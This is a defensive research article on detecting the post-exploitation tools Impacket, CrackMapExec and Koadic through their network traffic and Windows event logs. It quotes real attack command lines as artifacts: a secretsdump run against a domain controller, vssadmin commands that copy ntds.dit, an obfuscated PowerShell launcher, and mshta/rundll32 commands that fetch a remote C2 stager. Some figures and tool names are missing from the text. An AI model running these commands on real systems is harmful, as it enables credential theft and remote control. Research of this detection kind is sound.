The number of attacks in the corporate sector is increasing every year: for example, than in 2016, and by the end of 2018 β than in the previous period. This includes those where the main working tool is the Windows operating system. In 2017β2018, APT groups Dragonfly, APT28, conducted attacks on governmental and military organizations in Europe, North America, and Saudi Arabia. They used three tools for this β , and . Their source code is open and available on GitHub.
It is worth noting that these tools are not used for initial penetration, but for developing attacks within the infrastructure. Attackers use them at various stages of an attack, following perimeter breaches. This, by the way, is difficult to detect and often requires technologies or tools that allow . The tools provide a multitude of functions β from file transfers to registry interaction and command execution on a remote machine. We conducted research on these tools to determine their network activity.
What we needed to do:
- Understand how hacker toolkits operate.Learn what attackers need for exploitation and what technologies they can utilize.
- Find things that are not detected by information security measures at the early stages of an attack.The reconnaissance stage may be missed, either because the attacker is an insider or because the attacker exploits a vulnerability in the infrastructure that was previously unknown. There is an opportunity to reconstruct the entire chain of their actions, hence the desire to detect further movements.
- Eliminate false positives from intrusion detection systems.It is important to remember that errors can frequently occur when actions are detected based solely on intelligence. Usually, there are enough legitimate-looking methods within the infrastructure to obtain information.
What do these tools provide for attackers? If it's Impacket, then criminals gain access to a large library of modules that can be used at various stages of an attack following perimeter breach. Many tools utilize Impacket modules internally β for example, Metasploit. It contains dcomexec and wmiexec for remote command execution, and secretsdump for retrieving accounts from memory, which have been added from Impacket. Ultimately, accurately detecting activity from this library will also ensure the detection of derivatives.
The creators of CrackMapExec (or simply CME) didnβt randomly write 'Powered by Impacket'. Moreover, CME includes ready-made functionalities for popular scenarios: this entails Mimikatz for obtaining passwords or their hashes, injecting Meterpreter or Empire agent for remote execution, and Bloodhound onboard.
The third tool we selected is Koadic. It is relatively new, having been introduced at the international hacker conference DEFCON 25 in 2017, and it features an unconventional approach: operating via HTTP, JavaScript, and Microsoft Visual Basic Script (VBS). This approach is referred to as living off the land: the tool leverages a set of dependencies and libraries built into Windows. Its creators refer to it as COM Command & Control, or C3.
IMPACKET
The functionality of Impacket is quite extensive, ranging from reconnaissance within Active Directory and gathering data from internal MS SQL servers, to techniques for obtaining credentials: including SMB relay attacks and retrieving the ntds.dit file from the domain controller, which contains user password hashes. Additionally, Impacket remotely executes commands using four different methods: through WMI, Windows Task Scheduler service, DCOM, and SMB, requiring credentials for this.
Secretsdump
Letβs look at secretsdump. This module targets both user machines and domain controllers. It allows obtaining copies of LSA, SAM, SECURITY, NTDS.dit memory areas, which is why it can be seen at different stages of an attack. The first step in the module's operation is authentication via SMB, requiring either the user's password or its hash for conducting a Pass the Hash attack automatically. Next, a request is made to open access to the Service Control Manager (SCM) and gain access to the registry via the winreg protocol, which the attacker can use to learn about the branches of interest and obtain results through SMB.
In Fig. 1, we see how access is obtained by using the winreg protocol on the registry key with LSA. This is done using the DCERPC command with opcode 15 β OpenKey.
Fig. 1. Opening a registry key via the winreg protocol
After gaining access to the key, the values are saved using the SaveKey command with opcode 20. Impacket does this quite specifically. It saves values to a file whose name is a string of 8 random characters with the addition of .tmp. Furthermore, this file is subsequently dumped through SMB from the System32 directory (Fig. 2).
Fig. 2. Scheme for obtaining a registry key from a remote machine
Thus, detecting such activity on the network can be done by monitoring requests to specific registry branches via the winreg protocol, unique names, commands, and their order.
This module also leaves traces in the Windows event log, making it easy to detect. For example, following the execution of the command
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DCwe will see the following key sequence of events in the Windows Server 2016 log:
1. 4624 β remote logon.
2. 5145 β access rights check to the remote winreg service.
3. 5145 β access rights check to a file in the System32 directory. The file has a random name, as mentioned above.
4. 4688 β creation of a cmd.exe process, which launches vssadmin:
βC:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat5. 4688 β creation of a process with the command:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat6. 4688 β process creation with command:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat7. 4688 β process creation with command:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.batSmbexec
Like many post-exploitation tools, Impacket has modules for remote command execution. We will focus on smbexec, which provides an interactive command shell on a remote machine. This module also requires authentication via SMB, either with a password or its hash. In Figure 3, we see an example of such a tool, in this case the console of the local administrator.
Figure 3. Interactive smbexec console
The first stage of smbexec's operation after authentication is to open the SCM with the command OpenSCManagerW (15). The request is notable: the MachineName field has the value DUMMY.
Figure 4. Request to open Service Control Manager
Next, a service is created using the CreateServiceW (12) command. In the case of smbexec, we can see the same logical command construction each time. In Figure 5, the immutable command parameters are marked in green, while what the attacker can change is marked in yellow. It is easy to see that the executable name, its directory, and the output file can be changed, but altering the rest is much more complicated without disrupting the logic of the Impacket module.
Figure 5. Request to create a service via Service Control Manager
Smbexec also leaves clear traces in the Windows event log. In the Windows Server 2016 log for the interactive command shell with the command ipconfig, we will see the following key sequence of events:
1. 4697 β service installation on the victim's machine:
%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 2. 4688 β creating the cmd.exe process with the arguments from item 1.
3. 5145 β checking access rights to the __output file in the C$ directory.
4. 4697 β service installation on the victim's machine.
%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 5. 4688 β creation of the cmd.exe process with arguments from item 4.
6. 5145 β checking file access rights for __output in the C$ directory.
Impacket is the foundation for developing attack tools. It supports almost all protocols in the Windows infrastructure and has its distinctive features. This includes specific winreg queries, the use of the SCM API with characteristic command formatting, file name formats, and SMB share SYSTEM32.
CRACKMAPEXEC
The CME tool is primarily designed to automate the routine actions that an attacker has to perform to progress within the network. It can work in conjunction with the well-known Empire agent and Meterpreter. To execute commands stealthily, CME can obfuscate them. By using Bloodhound (a separate tool for reconnaissance), the attacker can automate the search for an active domain administrator session.
Bloodhound
Bloodhound as a standalone tool allows for advanced reconnaissance within the network. It collects data on users, machines, groups, sessions, and is delivered as a PowerShell script or binary file. Information is gathered using LDAP or protocols based on SMB. The CME integration module allows Bloodhound to be uploaded to the victim's machine, executed, and data to be collected after execution, thus automating actions within the system and making them less noticeable. Bloodhound's graphical interface presents the collected data as graphs, facilitating the finding of the shortest path from the attacker's machine to the domain administrator.
Fig. 6. Bloodhound Interface
To launch on the victim's machine, the module creates a task using ATSVC and SMB. ATSVC is the interface for working with the Windows task scheduler. CME uses its NetrJobAdd (1) function to create tasks over the network. An example of what the CME module sends is shown in Fig. 7: this is a call to cmd.exe and the obfuscated code in XML format as arguments.
Fig.7. Task Creation via CME
Once the task is sent for execution, the victim's machine starts Bloodhound itself, and this can be seen in the traffic. The module is characterized by LDAP queries to obtain standard groups, a list of all machines and users in the domain, and information about active user sessions through the SRVSVC NetSessEnum query.
Fig. 8. Obtaining a list of active sessions via SMB
Additionally, running Bloodhound on the victim's machine with auditing enabled is accompanied by an event with ID 4688 (process creation) and the name of the process "C:\Windows\System32\cmd.exe". Notably, the command line arguments are:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOIN'')( [chAR[]](91 , 78, 101, 116 , 46, 83 , 101 , β¦ , 40,41 )-JOIN'' ) "Enum_avproducts
The enum_avproducts module is quite interesting in terms of functionality and implementation. WMI allows the use of WQL query language to retrieve data from various Windows objects, which is essentially what this CME module utilizes. It generates queries to the AntiSpywareProduct and AntiMirusProduct classes regarding the protection tools installed on the victim's machine. To obtain the necessary data, the module connects to the root\SecurityCenter2 namespace, then formulates a WQL query and receives a response. Fig. 9 shows the content of such queries and responses. In our example, Windows Defender was found.
Fig. 9. Network activity of the enum_avproducts module
Often, the WMI audit (Trace WMI-Activity), in which useful information about WQL queries can be found, may be disabled. However, if it is enabled, when running the enum_avproducts script, there will be an event with ID 11. It will contain the username that sent the request and the name in the root\SecurityCenter2 namespace.
Each of the CME modules had its own artifacts, whether specific WQL queries or the creation of a certain type of task in the task scheduler with obfuscation, and characteristic Bloodhound activity in LDAP and SMB.
KOADIC
A distinguishing feature of Koadic is the use of built-in Windows interpreters for JavaScript and VBScript. In this sense, it follows the living off the land trend β that is, it has no external dependencies and uses standard Windows tools. It is a tool for full Command & Control (CnC), as after infection, an 'implant' is installed on the machine, allowing it to be controlled. Such a machine, in Koadic terminology, is called a 'zombie'. When privileges are insufficient for full functionality on the victim's side, Koadic has the ability to elevate them using User Account Control (UAC bypass) techniques.
Fig. 10. Koadic command shell
The victim must initiate communication with the Command & Control server themselves. To do this, they need to refer to a pre-prepared URI and obtain the main body of Koadic using one of the stage loaders. Figure 11 shows an example for the mshta stage loader.
Figure 11. Session initialization with the CnC server
From the WS response variable, it becomes clear that the execution occurs through WScript.Shell, and the variables STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE contain key information about the current session parameters. This is the first pair of request-response in the HTTP connection with the CnC server. Subsequent requests are directly related to the functionality of the called modules (implants). All Koadic modules only work with an active session with the CnC.
Mimikatz
Just as CME works with Bloodhound, Koadic works with Mimikatz as a separate program and has several ways to launch it. Below is a pair of request-response for loading the Mimikatz implant.
Figure 12. Transmitting Mimikatz to Koadic
You can notice how the URI format has changed in the request. A value has appeared for the csrf variable, which corresponds to the selected module. Don't pay attention to its name; we all know that CSRF usually refers to something else. The response returned the same main body of Koadic, with added code related to Mimikatz. It is quite large, so letβs consider the key points. Before us is a base64 encoded Mimikatz library, a serialized .NET class that will inject it, and the arguments for running Mimikatz. The execution result is transmitted over the network in clear text.
Figure 13. The execution result of Mimikatz on the remote machine
Exec_cmd
Koadic also has modules capable of executing commands remotely. Here we will see the same method of generating the URI and familiar variables sid and csrf. In the case of the exec_cmd module, code is added to the body that can execute shell commands. Below is such code contained in the HTTP response from the CnC server.
Figure 14. Code of the exec_cmd implant
The variable GAWTUUGCFI with the familiar WS attribute is necessary for executing the code. With its help, the implant calls the shell, processing two branches of code β shell.exec with returning the output data stream and shell.run without returning.
Koadic is not a typical tool but has its artifacts that can be found in legitimate traffic:
- special formation of HTTP requests,
- use of winHttpRequests API,
- Creating a WScript.Shell object via ActiveXObject,
- a large executable body.
The initial connection initiates the stager, which allows its activity to be detected through Windows events. For mshta, this is event 4688, which indicates the creation of a process with the launch attribute:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6During Koadic execution, other event 4688 occurrences with attributes that characterize it well can also be seen:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1Conclusions
The trend of living off the land is gaining popularity among attackers. They use built-in Windows tools and mechanisms for their needs. We see that popular tools like Koadic, CrackMapExec, and Impacket, which follow this principle, are increasingly found in APT reports. The number of forks for these tools on GitHub is also growing, with new ones emerging (there are now about a thousand). This trend is gaining popularity due to its simplicity: attackers do not need third-party tools, as they are already present on the victims' machines and help bypass protection measures. We focus on studying network interactions: each of the tools described above leaves traces in network traffic; in-depth study of these traces has allowed us to teach our product to detect them, which ultimately aids in investigating the entire chain of cyber incidents involving them.
Authors:
- Anton Tyurin, Head of Expert Services Department, PT Expert Security Center, Positive Technologies
- Egor Podmokov, Expert, PT Expert Security Center, Positive Technologies
Source: habr.com
